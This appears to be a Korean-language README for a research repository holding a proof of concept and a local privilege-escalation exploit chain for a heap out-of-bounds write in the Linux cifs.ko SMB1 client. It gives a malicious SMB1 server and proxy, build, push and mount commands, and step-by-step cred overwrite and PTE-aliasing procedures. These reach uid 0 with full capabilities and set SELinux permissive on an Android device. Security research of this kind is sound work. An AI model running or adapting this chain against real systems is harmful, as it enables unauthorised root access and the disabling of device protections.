
CVE-2026-89633에 대한 PoC 및 익스플로잇 체인으로, Linux cifs.ko SMB1 TRANS2 병합 경로의 힙 범위 초과 쓰기 취약점이며, cred 덮어쓰기와 PTE 앨리어싱을 통해 uid 0으로 권한 상승한다.
coalesce_t2 힙 범위 초과 쓰기한국어 | 简体中文
Linux cifs.ko SMB1 클라이언트의 힙 범위 초과 쓰기에 대한 연구용 PoC/EXP입니다. 악의적인 SMB1 서버가 TRANS2 보조 응답의 DataOffset을 제어하면, coalesce_t2()가 대상 범위 검사 없이 8바이트 보조 페이로드를 &primary->Protocol + DataOffset + accumulated에 복사합니다. 복사 대상은 응답 버퍼(server->bigbuf)를 기준으로 서버가 지정하는 임의의 위치입니다.
이 저장소는 역할이 서로 다른 두 가지 시연을 유지하며, 이들은 서로를 대체하지 않습니다:
DataOffset을 패치하는 TCP 프록시.uid/gid/suid/sgid/euid/egid/fsuid/fsgid를 0으로 만듭니다. OOB 쓰기가 제어 가능하며 cred를 수정할 수 있음을 가장 적은 의존성으로 직접 증명합니다.selinux_state를 매핑하며, 루트 측 관찰 없이 클론이 전체 caps를 가진 uid 0이 됩니다. 이는 EXP 1의 확장이며 대체물이 아닙니다.커널 모듈 로딩은 이 저장소의 범위에서 의도적으로 제외됩니다: 체인은 uid 0(및 선택적으로 selinux_state permissive)에서 멈추며 모듈을 설치하지 않습니다. 모듈이 로드되지 않더라도 uid 0 + permissive는 이 저장소가 주장하는 완전한 LPE 시연입니다.
EXP 2의 비용은 명시적으로 남아 있습니다: 윈도우별 복권(~25–33%, 12회 시도 시 ~97–99%), 재부팅까지 유지되는 베어 PTE, 셸 쓰기 가능한 tracefs에 대한 의존성, 그리고 빌드별 direct-map/호출 지점/SEL_PFN 가정. EXP 1은 가장 단순한 프리미티브 증명이자 셸 쓰기 가능한 tracefs를 사용할 수 없을 때의 대체 수단으로 남습니다.
| 항목 | 값 |
|---|---|
| CVE | CVE-2026-89633 |
| 분류 | 힙 범위 초과 쓰기 (CWE-787) |
| 구성 요소 | cifs.ko, SMB1 TRANS2 보조 coalescing |
| 업스트림 수정 | 36d01415d881 ("smb: client: fix ... coalesce_t2", 6.12.113) |
| POC | 트리거 및 OOB 쓰기 검증됨 (마운트 후 및 마운트 중) |
| EXP 1 (최소 프리미티브) | 루트 측 관찰 하의 4프레임 OOB cred 쓰기; uid 0 검증됨 (마운트 후 및 마운트 시점 유지 응답) |
| EXP 2 (고급 프리미티브) | 셸 전용 PTE 체인; uid 2000 → uid 0 + 전체 caps + Permissive 검증됨 (SEL_PFN/SEL_OFF); 베어 PTE에서 멈추며 모듈 로드 없음 |
| 요구 사항 | 공격자가 제어하는 서버에 대한 SMB1 마운트(권한 게이트); 참조 게이트는 su를 사용하며, 셸 전용 배치는 셸 쓰기 가능한 tracefs가 필요함 |
테스트 환경: arm64 Android 16 벤더 빌드, 커널 6.12.38, 6.12.23 KMI 베이스라인에서 빌드된 cifs.ko, SELinux enforcing.
statfs 없음, 마운트 지점 접근 없음), EXP 2 셸 전용 배치(tracefs만 사용, 루트 측 관찰 없음), 전체 EXP 2 수용(uid 0 + 모든 cap 비트 + SEL_PFN/SEL_OFF를 사용한 Permissive), 그리고 su 기반 마운트 게이트(마운트만 루트로 실행; 배치는 uid 2000으로 실행)가 SELinux enforcing 하에서 테스트되었습니다.MAX_CIFS_SMALL_BUFFER_SIZE - 4(444바이트)보다 큰 SMB1 TRANS2 응답의 경우, 클라이언트는 기본 응답을 server->bigbuf에 유지하고 이를 mid->resp_buf에 저장합니다. 이어지는 SMB_COM_TRANSACTION2_SECONDARY 응답은 cifs_check_trans2() -> check2ndT2() -> coalesce_t2()를 거칩니다:
data_area_of_tgt = &primary->Protocol + primary->DataOffset + total_in_tgt;
memcpy(data_area_of_tgt, data_area_of_src, secondary->DataCount);
DataOffset는 서버 응답에서 그대로 가져옵니다. 카운터 검사(total_in_tgt/byte_count 오버플로, 소스 버퍼 경계)는 존재하지만, data_area_of_tgt가 응답 버퍼 내부에 머무는지 확인하는 검사는 없습니다. 각 보조 프레임은 8바이트씩 더 멀리 위치하므로(누적된 DataCount), 다중 프레임 응답은 버퍼 기준점으로부터 공격자가 선택한 오프셋(16비트)에 8*N 바이트 쓰기를 발생시킵니다.
트리거 조건:
vers=1.0);statfs를 통한 QUERY_FS_INFORMATION을 사용);TotalDataCount > DataCount이고 bigbuf 경로에 충분히 큰 프라이머리로 응답한 뒤, TotalDataCount > DataCount인 하나 이상의 보조 프레임으로 응답함.Makefile
src/poc/poc_smb1_trans2.py malicious SMB1 server (QFS hook, runtime ctl)
src/poc/smb1_proxy.py TCP proxy: patches DataOffset, repeats secondaries
src/exp/pipesearch.c pipe placement/write driver (modes 3, 8, 9)
src/exp/shcred.c shell-side drain + clone helper (uid 2000)
src/exp/shp4a2.c trace-based drainer/observer/clone (modes 8/9)
src/exp/pte_fault.c 2 MiB fault + PTE alias writes
src/exp/bscan.c bigbuf discovery by call site (no kprobes)
src/exp/kslide.c KASLR slide from a raw call site
src/exp/smbd.c device-side SMB1 server (held TRANS2)
src/exp/smbd_templates.h SMB1 response templates for smbd
src/exp/pfn.c linear-map VA to pfn
src/exp/kflags.c /proc/kpageflags reader
scripts/setup_device.sh trace instance + kprobes (root on device)
scripts/start_servers.sh host: SMB1 server + proxy + mount helper
scripts/probe_round.sh one probe round: bigbuf base + free target page
scripts/place.sh placement: pipesearch mode 3 + shcred
scripts/write_cred.sh 4-frame coalesce write + /proc verification
scripts/mount_su.sh generic su mount gate (target/decoy/abort/unmount)
scripts/chain_shell.sh shell-only placement for an already-held TRANS2
scripts/gen_smb_templates.py regenerates smbd_templates.h from a capture
docs/analysis.md vulnerability and chain analysis
docs/exp-protocol.md shared-page and smbd ctl protocols
make deps # checks impacket
make helpers # NDK cross-build of all C helpers
make push # adb push to /data/local/tmp
NDK, API, ARCH, ADB, DEVICE_DIR는 재정의할 수 있습니다.
트리거 자체는 SMB1 마운트와 실행 중인 서버/프록시만 있으면 됩니다.
kprobe와 kflags는 관찰 보조 수단이며 트리거의 일부가 아닙니다 —
dst/src/len 증거가 필요할 때 설치하십시오 (그리고 아래 EXP 체인에서
필수이며, bigbuf 베이스, 배치 감시, 대상 cred 주소가 필요합니다).
디바이스 (root, 선택 사항 — 관찰 전용): 프로브를 설치합니다.
adb push scripts/setup_device.sh /data/local/tmp/
adb shell su -c 'sh /data/local/tmp/setup_device.sh'
adb push build/kflags /data/local/tmp/kflags
호스트: SMB1 서버와 프록시를 시작합니다(스크립트는 공유 디렉터리도 생성하고 마운트 명령을 출력합니다):
scripts/start_servers.sh /tmp/cifs01-ctl
1470에서 src/poc/poc_smb1_trans2.py를 실행하고, 제어 디렉터리 /tmp/cifs01-ctl과 함께 src/poc/smb1_proxy.py(1460 -> 1470)를 실행합니다.
로컬 테스트 토폴로지: 프록시 포트를 디바이스에 매핑하고 디바이스에서 root로 공유를 마운트합니다.
adb reverse tcp:1460 tcp:1460
adb shell su -c 'mkdir -p /mnt/cifs'
adb shell su -c 'mount -t cifs //127.0.0.1/share /mnt/cifs \
-o vers=1.0,port=1460,username=test,password=test,sec=ntlmssp'
vers=1.0은 취약한 SMB1 경로를 선택합니다(SMB2/3는 coalesce_t2에 도달하지 않음).port=1460은 이 토폴로지에서의 프록시 포트입니다 — 서버가 기본값 445에서 수신 대기하는 실제 네트워크에서는 이를 제거하십시오.username=test,password=test는 PoC 서버의 자격 증명입니다.sec=ntlmssp는 PoC 서버가 허용하는 보안 모드입니다.//127.0.0.1/share는 서버/공유입니다. 마운트 지점은 임의입니다.마운트는 권한이 필요한 관문입니다 — 아래의 도달 가능성(Reachability)을 참조하십시오.
한 라운드를 트리거합니다(훅을 무장하고, 악성 primary를 유지하며, DataOffset을 패치하고, 해제함).
scripts/probe_round.sh 1
프로브가 설치된 상태에서 인스턴스 트레이스에는 oobpri(기본 헤더 필드)와 cifs01m/cifs01mv(memcpy dst/src/len/val)가 포함됩니다. 기본 프로브 DataOffset=0x4100을 사용하면 dst - prim은 0x4104로, 16640바이트 cifs_request slab 객체(32 KiB order-3 slab의 꼬리 패딩)를 넘어서므로, 이 쓰기는 다른 할당을 손상시키지 않는 실제 객체 외부 쓰기입니다. 반면 DataOffset=0은 SMB 헤더 필드를 제자리에서 다시 씁니다.
단순 트리거와 달리 EXP 1은 관찰 보조 수단을 익스플로잇의 일부로 사용합니다. cifsget은 다음 응답의 bigbuf 베이스 B를 제공하고, 루트 도구의 /proc/kpageflags 읽기가 페이지 배치를 유도하며, credprep 트레이스는 대상 자식의 cred 주소를 제공합니다. POC 섹션의 동일한 서버/프록시가 사용됩니다.
체인을 요약하면 다음과 같습니다(자세한 내용은 docs/analysis.md 및 docs/exp-protocol.md 참조):
B와 pfn(B)+8..pfn(B)+16 범위의 빈 물리 페이지 P를 알아냅니다(scripts/probe_round.sh).scripts/place.sh가 pipesearch 모드 3과 shcred를 실행합니다. 대상 페이지는 CPU의 per-CPU 페이지 리스트에 마지막으로 해제되고, 셸은 setfsuid로 memcg cred 캐시를 비우며, 루트 도구는 kpageflags(P)가 cred slab(0x80)이 될 때까지 폴링한 뒤 비우기를 중단하고, 셸은 자식 하나를 클론하는데 이 자식의 copy_creds()가 현재 slab의 빈 객체 — 즉 P — 를 차지합니다.scripts/write_cred.sh가 TotalDataCount=32인 primary와 8바이트 secondary 프레임 네 개를 전송합니다. DataOffset = (cred - B) + 4로 설정하면 네 개의 병합 쓰기가 uid/gid, suid/sgid, euid/egid, fsuid/fsgid를 0으로 만듭니다./proc/<child>/status에 Uid: 0 0 0 0 / Gid: 0 0 0 0이 표시됩니다.테스트 빌드에서 검증된 내용: